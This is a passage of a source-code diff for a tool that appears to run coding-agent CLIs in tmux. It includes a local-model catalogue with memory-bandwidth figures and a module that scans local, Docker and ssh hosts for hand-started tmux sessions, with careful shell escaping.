label: 'Qwen3.5 9B (Q8)',
license: 'Apache-2.0',
paramsB: 9,
bytes: 10_449_217_949,
kvBytesPerToken: 32 * KIB,
contexts: [65536, 32768],
rank: 2,
// Not measured: the 9.3 of the row above scaled by file size.
speedPer100Gbps: 5.8,
tested: [],
},
{
id: 'gpt-oss:20b',
label: 'GPT-OSS 20B',
license: 'Apache-2.0',
paramsB: 20,
bytes: 13_793_441_427,
kvBytesPerToken: 24 * KIB,
contexts: [131072, 65536],
rank: 3,
// No speed figure: its speed is unknown on every chip.
tested: [],
},
{
id: 'qwen3.6:35b-a3b',
label: 'Qwen3.6 35B-A3B',
license: 'Apache-2.0',
paramsB: 35,
bytes: 22_621_314_161,
kvBytesPerToken: 20 * KIB,
contexts: [131072, 65536],
rank: 4,
// 54.5 tokens per second measured on 400 GB/s (3 billion parameters are active per token).
speedPer100Gbps: 13.6,
tested: [],
},
{
id: 'qwen3.8:27b',
label: 'Qwen3.8 27B',
license: 'Apache-2.0',
paramsB: 27.8,
bytes: 17_741_871_939,
kvBytesPerToken: 64 * KIB,
contexts: [131072, 65536, 32768],
rank: 5,
// 11.8 tokens per second measured on 400 GB/s.
speedPer100Gbps: 2.95,
tested: [],
},
{
id: 'qwen3.8:27b-q8_0',
label: 'Qwen3.8 27B (Q8)',
license: 'Apache-2.0',
paramsB: 27.8,
bytes: 29_978_241_837,
kvBytesPerToken: 64 * KIB,
contexts: [262144, 131072],
rank: 6,
// Not measured: the 2.95 of the row above scaled by file size.
speedPer100Gbps: 1.7,
tested: [],
},
{
id: 'qwen3.5:122b-a10b',
label: 'Qwen3.5 122B-A10B',
license: 'Apache-2.0',
paramsB: 122,
bytes: 81_370_035_877,
kvBytesPerToken: 24 * KIB,
contexts: [131072],
rank: 7,
// No speed figure: its speed is unknown on every chip.
tested: [],
},
],
// The higher rank wins when a model can run with more than one harness.
harnesses: [
{ cli: 'opencode', minContext: 65536, rank: 3 },
// Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes.
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
// Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified.
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
],
// Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source
// table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546,
// M5 Max 460 or 614) the LOWER one stands, so a speed computed from it is a floor.
chips: [
{ match: 'M5 Ultra', gbps: 1228 },
{ match: 'M3 Ultra', gbps: 800 },
{ match: 'M2 Ultra', gbps: 800 },
{ match: 'M1 Ultra', gbps: 800 },
{ match: 'M5 Max', gbps: 460 },
{ match: 'M4 Max', gbps: 410 },
{ match: 'M3 Max', gbps: 300 },
{ match: 'M2 Max', gbps: 400 },
{ match: 'M1 Max', gbps: 400 },
{ match: 'M5 Pro', gbps: 307 },
{ match: 'M4 Pro', gbps: 273 },
{ match: 'M3 Pro', gbps: 150 },
{ match: 'M2 Pro', gbps: 200 },
{ match: 'M1 Pro', gbps: 200 },
{ match: 'M5', gbps: 154 },
{ match: 'M4', gbps: 120 },
{ match: 'M3', gbps: 100 },
{ match: 'M2', gbps: 100 },
{ match: 'M1', gbps: 68 },
],
};
let validated: LocalModelCatalog | undefined;
/**
* The catalogue in force: the stock constant, validated once on first use. Callers go through
* this function, so a later stage can change where the catalogue comes from without touching
* them. Throws when the constant breaks its own schema, which the catalogue test rules out.
*/
export function getLocalModelCatalog(): LocalModelCatalog {
validated ??= LocalModelCatalogSchema.parse(STOCK_LOCAL_MODEL_CATALOG);
return validated;
}
+36 -19
View File
@@ -135,22 +135,30 @@ function realClaudeConfigDir(): string {
}
/**
* Symlinks `<isolatedDir>/projects` back to the real, shared `~/.claude/projects`, so an
* isolated `CLAUDE_CONFIG_DIR` (used to keep an injected API key away from a stored OAuth
* session — see `configDirVar` on customModelInjection) doesn't also blind the response
* viewer, subagent windows, and Read My Mind for that session (docs/wiki/Agent-CLIs.md).
* Best-effort: a platform that refuses symlinks (unprivileged Windows without a junction
* fallback working, e.g.) just keeps the pre-existing documented side effect instead of
* failing the whole custom-model apply over a nice-to-have.
* Symlinks `<isolatedDir>/projects` back to the session's own config dir when it set one,
* else the real, shared `~/.claude/projects`, so an isolated `CLAUDE_CONFIG_DIR` (used to
* keep an injected API key away from a stored OAuth session, see `configDirVar` on
* customModelInjection) doesn't also blind the response viewer, subagent windows, and Read
* My Mind for that session (docs/wiki/Agent-CLIs.md). Best-effort: a platform that refuses
* symlinks (unprivileged Windows without a junction fallback working, e.g.) just keeps the
* pre-existing documented side effect instead of failing the whole custom-model apply over
* a nice-to-have.
*
* The own dir matters beyond that: the resume pin looks in `<isolatedDir>/projects`, so the
* server's tree would hide the conversation on apply and keep the endpoint's transcript out
* of the own dir's sight on clear. Same absolute-only and no-self-link rules as
* `linkRealHomeEntries()`, and a relative value of the server's own gets no link, since
* joining it would create `projects` under the server's working directory.
*
* ⚠️ The link target is a user-chosen path and `linkRealHomeEntry()` probes and creates it
* synchronously: every caller of `applyCustomModelInjection` passes a lookup that went
* through `guardSessionConfigDirHome()` first (rule #516).
*/
function linkSharedProjectsDir(isolatedDir: string): void {
const link = join(isolatedDir, 'projects');
if (existsSync(link)) return; // already linked (idempotent re-apply) or real dir wrote one
try {
symlinkSync(join(realClaudeConfigDir(), 'projects'), link, platform() === 'win32' ? 'junction' : 'dir');
} catch {
// best-effort only — response viewer/subagent windows go blind for this session instead
}
function linkSharedProjectsDir(isolatedDir: string, sessionConfigDir?: string): void {
const own = sessionConfigDir?.trim();
const configDir = own && own !== isolatedDir && isAbsolute(own) ? own : realClaudeConfigDir();
if (!isAbsolute(configDir)) return;
linkRealHomeEntry(join(configDir, 'projects'), join(isolatedDir, 'projects'), true);
}
/**
@@ -301,6 +309,8 @@ export interface AppliedCustomModel {
envKeys: string[];
configDir?: string;
launchModel?: string;
/** The env key among `envKeys` that moves the CLI's home, see `CustomModelBookkeeping`. */
homeEnvVar?: string;
}
/**
@@ -327,8 +337,8 @@ export function applyCustomModelInjection(
workingDir?: string,
/**
* Reads one env var from the SESSION's own env overrides (single-key on purpose: the
* map carries credentials). Only the `configDir` kind uses it, to resolve the CLI's real
* home for `linkFromRealHome` from the session's value before the server's.
* map carries credentials). Resolves the CLI's real home from the session's value before
* the server's: `linkFromRealHome` for the `configDir` kind, `projects` for `configDirVar`.
*/
sessionEnvLookup?: (envVar: string) => string | undefined
): AppliedCustomModel | undefined {
@@ -345,7 +355,7 @@ export function applyCustomModelInjection(
if (injection.configDirVar) {
configDir = customModelConfigDir(sessionId);
mkdirSync(configDir, { recursive: true, mode: 0o700 });
linkSharedProjectsDir(configDir);
linkSharedProjectsDir(configDir, sessionEnvLookup?.(injection.configDirVar));
if (injection.apiKeyTrustFile && injection.apiKey) {
seedApiKeyTrustFile(configDir, injection.apiKeyTrustFile, injection.apiKey);
}
@@ -360,9 +370,16 @@ export function applyCustomModelInjection(
envKeys: Object.keys(envOverrides),
configDir,
launchModel: injection.launchModel,
homeEnvVar: injection.configDirVar,
};
}
const configDir = customModelConfigDir(sessionId);
const envOverrides = applyConfigDirInjection(configDir, injection, sessionEnvLookup?.(injection.dirEnvVar));
return { envOverrides, envKeys: Object.keys(envOverrides), configDir, launchModel: injection.launchModel };
return {
envOverrides,
envKeys: Object.keys(envOverrides),
configDir,
launchModel: injection.launchModel,
homeEnvVar: injection.dirEnvVar,
};
}
+5 -5
View File
@@ -392,7 +392,7 @@ export function isAdoptedContainer(docker: Pick<SessionDocker, 'owned'>): boolea
/**
* POSIX single-quote shell-escaping (end-quote, escaped-quote, restart-quote).
* Mirror of the helper in remote-hosts.ts / tmux-manager.ts. Every dynamic value
* interpolated into the outer `bash -c "..."` launch layer is escaped through
* interpolated into the `bash -c` launch layer is escaped through
* this so a path with spaces stays a single shell token. Operator-entered fields
* are ALSO schema-rejected for `$`/backtick (NO_SHELL_META) as defense in depth.
*/
@@ -1014,7 +1014,7 @@ export function resolveDockerCredentialArtifacts(
* string; argv arrays must NOT carry literal quotes (mirror of docker-export's
* dockerArgv).
*/
function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
export function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
const argv: string[] = [docker.engine === 'podman' ? 'podman' : 'docker'];
if (docker.context) argv.push('--context', docker.context);
if (docker.daemonHost) argv.push('-H', docker.daemonHost);
@@ -1682,9 +1682,9 @@ export async function probeDockerCliVersion(
if (IS_TEST_MODE) return undefined;
// ⚠️ The MODE NAME IS NOT ALWAYS THE BINARY NAME — `antigravity` runs `agy`. This used
// to pass the mode straight through as the command, which would have probed a binary that
// does not exist. Only claude reaches this today (it is the one CLI with a version gate),
// so nothing was actually broken, but the registry is what makes it correct for the next
// CLI that needs a version.
// does not exist. Claude and codex reach this today (the CLIs with a version gate), and
// both binaries match their mode, so nothing was actually broken, but the registry is what
// makes it correct for the next CLI that needs a version.
const bin = getCli(mode)?.discovery.binaries[0];
if (!bin) return undefined; // `shell` has no binary of its own
const argv = dockerEngineArgv(docker);
+455
View File
@@ -0,0 +1,455 @@
/**
* @fileoverview Runs the foreign-tmux probe at the three locations Codeman
* already knows how to reach: this host, inside a container, and across ssh.
*
* All the judgement lives in `foreign-tmux.ts` (pure). This module is only
* transport + caching + the promise that it never throws.
*
* ## Cost policy
*
* The home screen shows LOCAL results automatically, so a local scan runs on a
* TTL cache: N browser tabs polling every few seconds still trigger at most one
* scan per `FOREIGN_CACHE_TTL_MS`. Docker and remote are ON DEMAND only:
* opening the home page must never fan out one ssh connection per saved host.
*
* ## ⚠️ The probe must not cross an extra shell
*
* The script contains `$TMUX_TMPDIR` and `$(id -u)`, which the INNER shell has to
* expand. Local and docker therefore spawn with an argv array, where no outer
* shell exists to eat them first. Remote is the exception: the ssh
* command line is a string like every other ssh call in this codebase, so the
* script is wrapped in SINGLE quotes there, which is exactly why
* `buildForeignProbeScript()` may not contain one.
*
* This was measured, not reasoned: running the probe through `execSync` (which
* spawns `sh -c`) expanded `$TMUX_TMPDIR` and `$U` in the OUTER shell, leaving the
* inner loop iterating over the literal `/tmux-/*` and reporting zero sessions on
* a machine that had three.
*
* ## A probe that goes wrong still answers
*
* All three transports go through `runForeignProbe`, which never rejects and hands
* back what it read. A timeout has to reach the whole process tree, not just the
* `sh` on top (the same rule as `runFetch` in git-fetch.ts): signalling only `sh`
* left its tmux child stuck on a stopped server, one more per scan, for as long as
* the home screen stayed open. And a scan cut short keeps the rows it already has,
* since one bad server must not empty the list of a machine with good ones.
*
* @module foreign-tmux-discovery
*/
import { spawn, type ChildProcess } from 'node:child_process';
import {
buildForeignProbeScript,
classifyForeignPaneMode,
createForeignSignatureMatcher,
foreignRemoteShellCommand,
foreignSessionId,
isAdoptableSessionName,
isAdoptableSocketPath,
isCodemanOwnedPane,
parseForeignProbeOutput,
} from './foreign-tmux.js';
import { dockerEngineArgv, readDockerCases, readDockerHosts } from './docker-hosts.js';
import { buildSshConnectionArgs, readRemoteHosts, remoteSshTarget, shellescape } from './remote-hosts.js';
import { runWithRemoteSshLimit } from './remote-ssh-limiter.js';
import { resolveTmuxSocketName, getDataDir } from './config/instance.js';
import {
FOREIGN_CACHE_TTL_MS,
FOREIGN_PROBE_KILL_GRACE_MS,
FOREIGN_PROBE_MAX_BYTES,
FOREIGN_PROBE_TIMEOUT_MS,
} from './config/foreign-tmux.js';
import type { ForeignDiscoveryResult, ForeignTmuxSession } from './types/foreign-tmux.js';
import type { DockerCase, DockerHost, RemoteHost, SessionDocker } from './types/session.js';
const IS_TEST_MODE = process.env.VITEST === 'true' || process.env.NODE_ENV === 'test';
/** What one probe produced, however it ended. */
export interface ForeignProbeRun {
/** Everything read before it finished or was stopped. */
stdout: string;
/** False when it timed out, flooded, exited non-zero or could not start. */
ok: boolean;
}
/**
* Run one probe in its own process group. Never rejects (see @fileoverview).
*
* The caller is answered AT the deadline, while the group is still dying.
*/
export function runForeignProbe(
argv: readonly string[],
opts: { timeoutMs?: number; maxBytes?: number } = {}
): Promise<ForeignProbeRun> {
const { timeoutMs = FOREIGN_PROBE_TIMEOUT_MS, maxBytes = FOREIGN_PROBE_MAX_BYTES } = opts;
return new Promise((resolve) => {
const [file, ...args] = argv;
const chunks: Buffer[] = [];
let bytes = 0;
let settled = false;
let child: ChildProcess | undefined;
let escalation: NodeJS.Timeout | undefined;
const finish = (ok: boolean) => {
if (settled) return;
settled = true;
clearTimeout(deadline);
resolve({ stdout: Buffer.concat(chunks).toString('utf-8'), ok });
};
const signalGroup = (signal: NodeJS.Signals) => {
try {
if (child?.pid) process.kill(-child.pid, signal);
} catch {
/* already gone */
}
};
const stop = () => {
signalGroup('SIGTERM');
escalation = setTimeout(() => signalGroup('SIGKILL'), FOREIGN_PROBE_KILL_GRACE_MS);
escalation.unref();
// ⚠️ Let go of the pipe by hand. A stopped tmux server can hold it open with
// everything in this group dead (see foreign-tmux.ts), so waiting for its EOF
// would keep one handle per scan until that server is resumed.
child?.stdout?.destroy();
finish(false);
};
const deadline = setTimeout(stop, timeoutMs);
try {
child = spawn(file ?? '', args, { stdio: ['ignore', 'pipe', 'ignore'], detached: true });
} catch {
finish(false);
return;
}
child.stdout?.on('data', (chunk: Buffer) => {
if (settled) return;
chunks.push(chunk.subarray(0, Math.max(0, maxBytes - bytes)));
bytes += chunk.length;
if (bytes > maxBytes) stop();
});
child.on('error', () => finish(false));
child.on('close', (code) => {
// The group is gone, so a late SIGKILL could only reach whoever reused its id.
clearTimeout(escalation);
finish(code === 0);
});
});
}
/** The note for a probe that ended badly. Rows already read stay, so say which case this is. */
function probeFailureNote(where: string, run: ForeignProbeRun, nothing: string): string {
return run.stdout ? `${where}: the scan did not finish, this list may be incomplete` : `${where}: ${nothing}`;
}
/**
* Turn one probe's stdout into candidates. Shared by all three transports, so a
* container's sessions and the host's are classified by identical rules.
*
* `where` opens every note this scan writes (`local`, `docker <name>`, `remote
* <label>`). The browser tells the two kinds apart by it: a local note is re-read on
* every poll, a container or host note only by the next explicit scan.
*/
export function candidatesFrom(
stdout: string,
location: ForeignTmuxSession['location'],
hostKey: string,
extra: Pick<ForeignTmuxSession, 'hostId' | 'hostLabel' | 'containerName'>,
where: string,
notes: string[]
): ForeignTmuxSession[] {
const probe = parseForeignProbeOutput(stdout);
const match = createForeignSignatureMatcher();
const ownSocket = resolveTmuxSocketName();
const out: ForeignTmuxSession[] = [];
const seen = new Set<string>();
let unsafe = 0;
for (const pane of probe.panes) {
if (isCodemanOwnedPane(pane, ownSocket)) continue;
// ⚠️ THE security gate, and it lives here rather than at the adopt endpoint
// on purpose: a name that cannot cross the launch chain safely never gets an
// id, so there is nothing for a caller to send. Adoption re-resolves through
// this same function, which makes the endpoint fail closed for free.
// See `isAdoptableSessionName` for the injection this prevents.
if (!isAdoptableSessionName(pane.sessionName) || !isAdoptableSocketPath(pane.socketPath)) {
unsafe += 1;
continue;
}
// One row per SESSION, not per pane: the first pane is the one we would land
// on, and a multi-pane session is still a single thing to adopt.
// \u0000 as an ESCAPE, never the literal byte: a raw NUL in the source makes git
// treat this whole file as binary (no diff, no review), and the allowlists above
// already guarantee neither half can contain one.
const key = `${pane.socketPath}\u0000${pane.sessionName}`;
if (seen.has(key)) continue;
seen.add(key);
const classified = classifyForeignPaneMode(pane, probe, match);
out.push({
id: foreignSessionId(location, hostKey, pane.socketPath, pane.sessionName),
location,
...extra,
socketPath: pane.socketPath,
sessionName: pane.sessionName,
windows: pane.windows,
attached: pane.sessionAttached,
createdAt: pane.sessionCreated * 1000,
mode: classified.mode,
command: classified.command,
workingDir: pane.paneCurrentPath,
});
}
if (unsafe) {
notes.push(
`${where}: ${unsafe} session(s) skipped, the tmux session name or socket path is one Codeman cannot pass safely to a shell or to tmux`
);
}
// Another Codeman's server is not a session this list would ever have shown.
const hung = probe.hungSockets.filter(
(socketPath) => !isCodemanOwnedPane({ socketPath, sessionName: '' }, ownSocket)
);
if (hung.length) {
notes.push(`${where}: ${hung.length} tmux server(s) did not answer, sessions on them are not listed`);
}
return out;
}
// ===========================================================================
// Local
// ===========================================================================
let localCache: { at: number; result: ForeignDiscoveryResult } | null = null;
let localInFlight: Promise<ForeignDiscoveryResult> | null = null;
/**
* Scan this host. TTL-cached and single-flight, because this is the one location
* the home screen polls on its own.
*/
export async function discoverLocalForeign(force = false): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const now = Date.now();
if (!force && localCache && now - localCache.at < FOREIGN_CACHE_TTL_MS) return localCache.result;
if (localInFlight) return localInFlight;
localInFlight = (async (): Promise<ForeignDiscoveryResult> => {
const notes: string[] = [];
let sessions: ForeignTmuxSession[] = [];
try {
// argv array: no outer shell, so the script's own `$TMUX_TMPDIR`/`$(id -u)`
// reach the inner sh intact (see @fileoverview).
const run = await runForeignProbe(['sh', '-c', buildForeignProbeScript()]);
sessions = candidatesFrom(run.stdout, 'local', 'local', {}, 'local', notes);
if (!run.ok) notes.push(probeFailureNote('local', run, 'tmux probe produced no result'));
} catch {
// The probe answers rather than throws, so this is the classifier. "Nothing to
// adopt here" is the only honest answer and it is never an error to the caller.
notes.push('local: tmux probe produced no result');
}
const result: ForeignDiscoveryResult = { sessions, scannedAt: Date.now(), notes };
localCache = { at: Date.now(), result };
return result;
})().finally(() => {
localInFlight = null;
});
return localInFlight;
}
/** Drop the local cache so the next scan is real (used right after an adopt). */
export function invalidateForeignCache(): void {
localCache = null;
}
// ===========================================================================
// Docker
// ===========================================================================
/** Connection facts for one adoptable container, resolved from the registries. */
export interface DockerTargetInfo {
hostId: string;
label: string;
containerName: string;
base: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>;
}
function dockerTargets(cases: DockerCase[], hosts: DockerHost[]): DockerTargetInfo[] {
const byId = new Map(hosts.map((h) => [h.id, h]));
const out: DockerTargetInfo[] = [];
const seen = new Set<string>();
for (const c of cases) {
const container = c.container || `codeman-case-${c.name}`;
// Per engine, not global: two daemons can each run a container of one name,
// and collapsing them here would leave the second one unscanned.
const key = `${c.hostId}\u0000${container}`;
if (seen.has(key)) continue;
seen.add(key);
const host = byId.get(c.hostId);
out.push({
hostId: c.hostId,
label: host?.label || c.name,
containerName: container,
base: {
engine: host?.engine ?? 'docker',
context: host?.context,
daemonHost: host?.daemonHost,
},
});
}
return out;
}
/**
* The argv of one in-container probe.
*
* ⚠️ `dockerEngineArgv`, never `buildDockerBaseArgs`, whose `--context` and `-H`
* values are shell-quoted for the launch string. `execFile` passes those quotes
* through literally, so `docker --context "'default'"` answered "context not found"
* and every container behind a named context or a remote daemon read as unreachable.
*/
export function foreignDockerProbeArgv(target: DockerTargetInfo): string[] {
return [...dockerEngineArgv(target.base), 'exec', target.containerName, 'sh', '-lc', buildForeignProbeScript()];
}
/**
* Scan the containers behind the caller's docker cases. On demand only.
*
* Read-only by construction: one `docker exec` running the probe. Never inspects
* lifecycle, never starts anything: a stopped or missing container simply
* contributes a note, mirroring `probeAdoptableContainer`'s "engine unreachable
* degrades to an empty list" rule.
*/
export async function discoverDockerForeign(cases: DockerCase[]): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const hosts = await readDockerHosts(getDataDir()).catch(() => [] as DockerHost[]);
const targets = dockerTargets(cases, hosts);
const notes: string[] = [];
const sessions: ForeignTmuxSession[] = [];
await Promise.all(
targets.map(async (t) => {
const where = `docker ${t.containerName}`;
try {
const run = await runForeignProbe(foreignDockerProbeArgv(t));
sessions.push(
...candidatesFrom(
run.stdout,
'docker',
`${t.hostId} ${t.containerName}`,
{ hostId: t.hostId, hostLabel: t.label, containerName: t.containerName },
where,
notes
)
);
if (!run.ok) notes.push(probeFailureNote(where, run, 'not running, no tmux, or engine unreachable'));
} catch {
notes.push(`${where}: not running, no tmux, or engine unreachable`);
}
})
);
return { sessions, scannedAt: Date.now(), notes };
}
// ===========================================================================
// Remote
// ===========================================================================
/**
* The ssh command line of one remote probe.
*
* `exec` so a timeout kill reaches ssh itself, not only the local `sh -c` around it.
*/
export function foreignRemoteProbeCommand(host: RemoteHost): string {
return [
'exec',
...buildSshConnectionArgs(host),
remoteSshTarget(host),
shellescape(foreignRemoteShellCommand(buildForeignProbeScript())),
].join(' ');
}
/**
* Scan saved ssh hosts. On demand only: this is the expensive one.
*
* ⚠️ The ssh command is a STRING (as every ssh call in this codebase is), so the
* probe crosses one extra shell and must be single-quoted. `shellescape` does
* that, and `buildForeignProbeScript()` is single-quote-free precisely so the
* escaping stays a wrap rather than a rewrite.
*
* Each host holds a slot of the shared remote-ssh limiter: one saved host per
* connection, all at once, is the burst OpenSSH's `MaxStartups` starts dropping.
* A host that waits too long for a slot reads as unreachable this round.
*/
export async function discoverRemoteForeign(hosts: RemoteHost[]): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const notes: string[] = [];
const sessions: ForeignTmuxSession[] = [];
await Promise.all(
hosts.map(async (host) => {
const where = `remote ${host.label}`;
try {
const run = await runWithRemoteSshLimit(() => runForeignProbe(['sh', '-c', foreignRemoteProbeCommand(host)]), {
maxWaitMs: FOREIGN_PROBE_TIMEOUT_MS,
});
sessions.push(
...candidatesFrom(run.stdout, 'remote', host.id, { hostId: host.id, hostLabel: host.label }, where, notes)
);
if (!run.ok) notes.push(probeFailureNote(where, run, 'unreachable, or no tmux'));
} catch {
notes.push(`${where}: unreachable, or no tmux`);
}
})
);
return { sessions, scannedAt: Date.now(), notes };
}
// ===========================================================================
// Facade
// ===========================================================================
export interface ForeignDiscoveryRequest {
/** Always scanned (cheap, cached). */
local?: boolean;
/** Docker cases the CALLER may see; ownership filtering happens in the route. */
dockerCases?: DockerCase[];
/** Remote hosts the CALLER may see. */
remoteHosts?: RemoteHost[];
/** Skip the local TTL cache. */
force?: boolean;
}
/**
* One scan across the requested locations. Merges notes, never throws.
*
* The caller supplies the docker cases and remote hosts rather than this module
* reading the registries itself: which of them a user may see is an ownership
* question, and ownership belongs to the route layer.
*/
export async function discoverForeignSessions(req: ForeignDiscoveryRequest): Promise<ForeignDiscoveryResult> {
const parts: ForeignDiscoveryResult[] = [];
if (req.local !== false) parts.push(await discoverLocalForeign(req.force));
if (req.dockerCases?.length) parts.push(await discoverDockerForeign(req.dockerCases));
if (req.remoteHosts?.length) parts.push(await discoverRemoteForeign(req.remoteHosts));
return {
sessions: parts.flatMap((p) => p.sessions),
scannedAt: parts.length ? Math.max(...parts.map((p) => p.scannedAt)) : Date.now(),
notes: parts.flatMap((p) => p.notes),
};
}
/** Re-read the caller-visible docker cases, for routes that only hold a username. */
export async function readAllDockerCases(): Promise<DockerCase[]> {
return readDockerCases(getDataDir()).catch(() => [] as DockerCase[]);
}
/** Re-read the saved remote hosts. */
export async function readAllRemoteHosts(): Promise<RemoteHost[]> {
return readRemoteHosts(getDataDir()).catch(() => [] as RemoteHost[]);
}
+902
View File
@@ -0,0 +1,902 @@
/**
* @fileoverview Pure core for FOREIGN tmux sessions, the ones a human started
* by hand, which Codeman neither created nor owns.
*
* Everything here is a string in / structure out, so all three locations (local,
* inside a container, across ssh) go through ONE probe script, ONE parser and ONE
* classifier. Writing a second copy per location is exactly how the two would
* drift into disagreeing about what a session is.
*
* ## Why the probe script is dumb
*
* It runs two commands and prints them: `tmux list-panes` per socket, and one
* `ps` snapshot. No filtering, no logic. All judgement happens in Node, where it
* is pure and unit-testable, instead of in a shell string that is embedded three
* different ways and can only be debugged against a real host.
*
* The one thing the script does decide is whether a server is safe to ask, because
* only the script can. A tmux server that stopped answering holds its client
* forever, and from outside a container or across ssh no signal reaches that
* client: a timeout kills `docker exec` or `ssh`, never what they started. So each
* server gets a bounded ping first, and one that misses it costs its own rows and
* a `CMFH` line, not the whole scan.
*
* ⚠️ The ping exists because a watchdog around `list-panes` cannot work. A tmux
* client hands dups of its stdout to the server, so a stopped server keeps our
* stdout pipe open after the client is dead (measured: SIGTERM ended the client at
* once and no EOF came in the 2.5 s that were watched, while the server stayed
* stopped). Nothing reading that pipe can finish, and the same hold would keep
* `docker exec` and `ssh` waiting on it. The ping's stdout is /dev/null, so only a
* server that just answered ever gets the real one.
*
* ⚠️ The script MUST NOT contain a single quote. It is wrapped in single quotes
* to cross `ssh <host> '<script>'` and `docker exec <c> sh -lc '<script>'`. That
* is the single-quote dual of the "no double quotes in the docker launch chain"
* rule in `tmux-manager.ts`: same class of bug, opposite quote.
*
* ## Why the mode comes from the process tree
*
* `#{pane_current_command}` is `node` for BOTH claude and codex, so it cannot
* distinguish them. The classifier walks the pane's descendants over the `ps`
* snapshot with `collectDescendants` (bounded: one snapshot, no per-node spawn,
* see proc-tree.ts for the incident that rule exists for) and matches argv. What
* it cannot identify is `shell`, which is also the honest answer for the case
* this feature was built for: a hand-opened shell.
*
* ## Why attaching means creating a grouped session
*
* A grouped session (`new-session -t <target>`) shares the target's WINDOWS but
* is its own session, so our `status off` and our current-window selection land
* on us alone. A bare `attach` would have to set those on the owner's session,
* i.e. mutate something we do not own. `destroy-unattached on` then makes our
* view evaporate when the wrapper pane dies (measured: it does).
*
* ⚠️ The group session must be created ATTACHED (no `-d`). tmux's
* `server_check_unattached()` runs every server loop, so a detached session with
* `destroy-unattached on` is torn down almost immediately: the option has to
* land on a session that already has our client on it.
*
* ⚠️ **Grouping does NOT give us an independent window SIZE, and believing it did
* was wrong.** Measured on tmux 3.3a against a target held open by a 200x49
* client, with our client at 80x24:
*
* bare attach -> target becomes 80x23
* grouped session -> target becomes 80x23 (same!)
* grouped + `window-size largest` -> target stays 200x49
*
* A window is one object with one size; a group shares the object. So attaching
* from Codeman resizes a session someone else is actively viewing, exactly like
* any second tmux client does: that is tmux's normal behavior, and it reverses
* when we detach.
*
* `window-size largest` is deliberately NOT set here. It is a WINDOW option on a
* SHARED window, so it survives our detach (measured: still `largest` after our
* view is gone): it would permanently rewrite the owner's configuration to buy
* a cropped view for us. Restoring it would need the previous value captured with
* `$(...)`, and this string carries no command substitution. It reaches `bash -c`
* verbatim now (`bashCArg()`), but it crossed `bash -c "..."` for a long time, where
* the OUTER shell expanded it first. That is the same rule the docker launch chain
* states as "no command substitution", and the same trap that silently emptied
* `$TMUX_TMPDIR` while this probe was developed.
* A user who wants the crop instead of the resize can set `window-size largest`
* on their own session, which is theirs to set.
*
* @module foreign-tmux
*/
import { collectDescendants } from './proc-tree.js';
import { listClis } from './config/cli-registry/registry.js';
import { withRemoteTmuxPath } from './remote-hosts.js';
import {
FOREIGN_MAX_ARGV_CHARS,
FOREIGN_MAX_PANES,
FOREIGN_MAX_PROCS,
FOREIGN_SOCKET_TIMEOUT_SECONDS,
} from './config/foreign-tmux.js';
import type { ForeignPaneProbe, ForeignTmuxLocationKind } from './types/foreign-tmux.js';
import type { SessionAdopt, SessionMode } from './types/session.js';
// ===========================================================================
// Probe script
// ===========================================================================
/**
* Field separator. tmux's `-F` does NOT expand a backslash-t escape: it emits the
* LITERAL two characters (verified on next-3.7, the same finding that shaped
* `parseRemoteSessionList` in remote-hosts.ts). The parser accepts a real TAB too,
* in case some build does expand it.
*/
const SEP = '\\t';
const SEP_SPLIT = /\\t|\t/;
const REJOIN = '\t';
const PANE_MARKER = 'CMFP';
const PROC_MARKER = 'CMFQ';
const SOCKET_MARKER = 'CMFS';
const HUNG_MARKER = 'CMFH';
/**
* The probe, as POSIX sh. NO SINGLE QUOTES (see @fileoverview).
*
* Emits, in order:
* CMFS<sep><socket path> (one per readable socket)
* CMFP<sep><socket><sep>...<sep>name<sep>path (one per pane on that socket)
* CMFH<sep><socket path> (a server that did not answer)
* CMFQ (marker; ps rows follow)
* <pid> <ppid> <argv...>
*
* The two free-form fields (session name, pane path) are LAST so a separator
* inside one of them can be re-joined by position instead of corrupting the row.
*/
export function buildForeignProbeScript(): string {
const fmt = [
PANE_MARKER,
'#{socket_path}',
'#{pane_pid}',
'#{window_index}',
'#{session_windows}',
'#{session_created}',
'#{session_attached}',
'#{pane_id}',
'#{pane_current_command}',
'#{session_name}',
'#{pane_current_path}',
].join(SEP);
// `ps -eo` covers procps and macOS; `ps ax -o` is the BSD-ish fallback. If both
// fail we still emit the pane rows, and classification degrades to the pane
// command, which still names a plain shell correctly.
// ⚠️ No `set -f` here: the socket sweep IS a glob, and disabling pathname
// expansion turns the loop into a single literal non-match. ⚠️ The marker line
// must NOT try to carry the field separator at all. Measured: `sh`'s builtin
// `echo` EXPANDS a backslash-t to a real TAB, while tmux's own `-F` emits the
// two literal characters, so the same escape means two different things two
// lines apart. The socket line is space-separated instead (marker first, rest
// of line is the path), which no shell rewrites.
//
// Only `$TMUX_TMPDIR/tmux-<uid>/` is swept, which covers every `tmux -L <name>`
// server (that is exactly where tmux puts them). A socket at an arbitrary
// `tmux -S /custom/path` is deliberately out of scope: finding it would mean
// walking the filesystem for sockets.
//
// `-u` because a POSIX locale otherwise rewrites every non-ASCII byte tmux prints
// to `_` (measured in a container: session `会话` listed as `____`), and a name
// read wrong is a name the guard then cannot find.
//
// The ping (see @fileoverview) runs in the background beside a watchdog, the POSIX
// spelling of `timeout`, which macOS does not ship. A stale socket answers at once
// with status 1 and is skipped, so the ping costs a live server one extra spawn and
// a dead one none. `has-session` cannot start a server on a stale socket.
// ⚠️ The watchdog says it fired with its own exit status, 7: a tmux client ended by
// SIGTERM exits 0 (measured), so the ping's status cannot tell. It prints the marker
// BEFORE the kill and the loop reaps it, or the line could land after `CMFQ` and
// parse as a process row. The `trap` ends the `sleep` with it, so a scan does not
